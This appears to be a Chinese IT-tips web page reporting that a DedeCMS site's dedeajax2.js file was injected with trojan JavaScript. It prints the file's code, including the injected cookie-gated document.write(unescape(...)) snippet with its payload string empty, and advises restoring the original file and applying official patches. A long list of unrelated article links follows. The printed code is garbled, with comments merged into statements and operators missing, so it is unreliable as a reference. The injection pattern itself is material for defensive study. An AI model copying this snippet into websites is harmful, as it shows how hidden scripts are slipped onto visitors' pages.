位置: IT常识 - 正文

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

编辑:rootadmin
这阵子我的一个织梦dedecms网站被植入了木马,程序dede。于是我升级到了IE7+全补丁,为了查木马做准备工作,呵呵。

推荐整理分享织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞),希望有所帮助,仅作参考,欢迎阅读内容。

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

文章相关热门搜索词:织梦志玲 舞蹈,织梦志玲 舞蹈,织梦dedecms模板,织梦dedecms开始收割韭菜了,织梦dedecms网站无法访问,织梦映象,织梦dedecms网站无法访问,织梦dedecms网站无法访问,内容如对您有帮助,希望把文章链接给更多的朋友!

结果发现,dedecms织梦ajax2.js被植入了木马。源码如下:

//初始化xmldomfunction InitXDom(){if(DedeXDOM!=null) return;var obj = null;if (typeof(DOMParser) != "undefined") { // Gecko、Mozilla、Firefoxvar parser = new DOMParser();obj = parser.parseFromString(xmlText, "text/xml");} else { // IEtry { obj = new ActiveXObject("MSXML2.DOMDocument");} catch (e) { }if (obj == null) try { obj = new ActiveXObject("Microsoft.XMLDOM"); } catch (e) { }}DedeXDOM = obj;};//以下是被植入木马的部分,乱码都是经由unicode码处理。现在的马夫越来越狡猾了if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime() 24*60*60*1000);document.cookie='hello=Yes;path=/;expires=' expires.toGMTString();document.write(unescape(""));}用原版本的dedeajax2覆盖,即可。这个文件,dede的模板都要用到,搜索了,没有发现说明用处。不过建议大家,多注意dedecms的官方补丁,unix服务器的织梦站长,千万别所有文件都是设置,虽然dede在unix的服务器上,设置太过繁琐。

免责

本文链接地址:https://www.jiuchutong.com/zhishi/313335.html 转载请保留说明!

上一篇:最好最实用的织梦二次开发教程(最好最实用的织毛线)

下一篇:经典帝国CMS生成sitemap实现代码分享(经典帝国cms生成器下载)

  • 淘宝店铺免费推广方法 淘宝店铺怎么推广(淘宝店铺免费推广工具)

    淘宝店铺免费推广方法 淘宝店铺怎么推广(淘宝店铺免费推广工具)

  • 积目怎么隐藏在线(积目怎么隐藏定位)

    积目怎么隐藏在线(积目怎么隐藏定位)

  • 淘宝确认收货了运费险还能用吗(淘宝确认收货了还能7天无理由退货吗)

    淘宝确认收货了运费险还能用吗(淘宝确认收货了还能7天无理由退货吗)

  • 苹果x看抖音模糊(苹果x看抖音画面不清)

    苹果x看抖音模糊(苹果x看抖音画面不清)

  • 笔记本电脑home键在哪(笔记本电脑home键怎么按)

    笔记本电脑home键在哪(笔记本电脑home键怎么按)

  • e52470v2相当于i几(e52470v2上市时间)

    e52470v2相当于i几(e52470v2上市时间)

  • 默认评价是什么意思(默认评价可以改吗)

    默认评价是什么意思(默认评价可以改吗)

  • win10系统还原是什么意思(win10还原系统设置会怎样)

    win10系统还原是什么意思(win10还原系统设置会怎样)

  • 6splus的屏幕刷新率是多少(iphone6sp屏幕刷新率)

    6splus的屏幕刷新率是多少(iphone6sp屏幕刷新率)

  • 小米10关机键在哪(小米10关机键不回弹)

    小米10关机键在哪(小米10关机键不回弹)

  • 红米k20pro支持lhdc吗(红米k20pro支持lhdc协议)

    红米k20pro支持lhdc吗(红米k20pro支持lhdc协议)

  • 视频未转码到这里是什么意思(视频未转码到这里怎么办)

    视频未转码到这里是什么意思(视频未转码到这里怎么办)

  • 手机mac地址能查到什么(手机mac地址能查到手机型号吗)

    手机mac地址能查到什么(手机mac地址能查到手机型号吗)

  • 怎么取消阿里宝卡的订单(怎么取消阿里宝福卡)

    怎么取消阿里宝卡的订单(怎么取消阿里宝福卡)

  • 微信运动推送时间不一样(微信运动推送时间怎么一下38一下39)

    微信运动推送时间不一样(微信运动推送时间怎么一下38一下39)

  • 手机yy怎么看等级(手机yy怎么看等级高低)

    手机yy怎么看等级(手机yy怎么看等级高低)

  • 小米9pro输入法怎么设置(小米9pro输入法复制粘贴板)

    小米9pro输入法怎么设置(小米9pro输入法复制粘贴板)

  • iphone11如何预定(iphone11怎么定时关机)

    iphone11如何预定(iphone11怎么定时关机)

  • 腾讯围棋怎么修改资料(腾讯围棋怎么修改段位)

    腾讯围棋怎么修改资料(腾讯围棋怎么修改段位)

  • 什么是ssp平台(ssp是指)

    什么是ssp平台(ssp是指)

  • 拼多多宝刀可以用几次(拼多多砍价可以买宝刀吗)

    拼多多宝刀可以用几次(拼多多砍价可以买宝刀吗)

  • PS中参考线如何改颜色(ps中参考线如何显示)

    PS中参考线如何改颜色(ps中参考线如何显示)

  • 为什么探探收不到别人给我的信息(为什么探探收不到消息)

    为什么探探收不到别人给我的信息(为什么探探收不到消息)

  • win10安全中心通知怎么关闭(win10安全中心通知关闭)

    win10安全中心通知怎么关闭(win10安全中心通知关闭)

  • uniappvideo避坑指南(H5、小程序、app)(uniapp cover-view)

    uniappvideo避坑指南(H5、小程序、app)(uniapp cover-view)

  • Vue常用方法汇总【更新中】(vue有哪些方法)

    Vue常用方法汇总【更新中】(vue有哪些方法)

  • 制造业税负率怎么计算
  • 工程监理费开什么发票
  • 房开企业预售阶段预交的税费
  • 增值税税率调整文件
  • 预收账款哪一方是增加
  • 设备5年直线法计提折旧怎么做
  • 个人生产经营所得税计算器
  • 居民转供电收费标准
  • 工程项目临时用工人员工工资怎么办
  • 非工作日是否可以开标
  • 年偿债基金和年金现值
  • 预算分配比例与国库不一样
  • 企业的成本核算包括
  • 客观原因导致的没见过世面
  • 上缴财政收入怎么做账
  • 长期借款账务处理会计分录例题
  • 递延收益是什么科目应该怎么处理
  • 税负的含义
  • 抄税和上报汇总一样吗
  • 土地租赁合同交不交印花税
  • 企业什么税可以退
  • 流转税率是什么意思
  • 新办企业需要做什么
  • 美国税改“梦想”很丰满,显示很骨感
  • 旅游业开办费
  • 可以背书转让的公司
  • 房地产开发企业需要缴纳哪些税
  • 个体户对私账户
  • 差旅费账务处理例子
  • 如何让游戏速度加快
  • 王者荣耀中白起的台词
  • 长期待摊会计分录
  • mxoaldr.exe - mxoaldr是什么进程 有什么用
  • 企业出租涉及到的税收
  • vue中如何使用weboffice
  • 补交之前年度税款怎么调账
  • 有形动产增值税税率是多少
  • 投资性房地产转换的会计处理
  • 残疾人在公司上班公司有什么好处
  • layuiadmin动态菜单
  • 废旧物资回收经营单位
  • vue3父子传值
  • javascript获取数组索引
  • 使用二氧化碳灭火器时人应该站在什么位置
  • html游戏大全
  • php和python结合
  • pnpnpn的工作原理
  • SQLite教程(十四):C语言编程实例代码(2)
  • 清包工一般计税如何开票
  • 购货发票属于是什么凭证
  • sql查询排名前三
  • access speed
  • 预付账款是什么意思大白话
  • 车船税手续费返还时间
  • 缴纳社保公积金的会计分录
  • 电子设备折旧残值率
  • 增值税一般纳税人认定标准
  • 公司注销后退资需要交税吗
  • 按照现行会计制度的规定,下列票据中
  • 汇率调节主要手段
  • 房屋租赁合同印花税谁交
  • 查账补缴的税的账怎么做
  • 研发费用和研发支出的会计处理
  • 购买银行结构性存款安全吗
  • 国税退回多缴税款
  • 摊销方法如何选择
  • 分公司设立条件怎么写
  • 企业所得税里的利润总额按什么填写
  • .ctc文件
  • win7和xp文件共享
  • linux tar -czvf
  • 修改注册表命令
  • linux的安装教程
  • javascript 语言精粹(修订版)
  • eval()函数python
  • unity3D游戏开发
  • 安卓优化清理大师怎么样
  • jquery打开本地html
  • android获取手机的基本信息
  • 深圳税务局官方客服电话
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设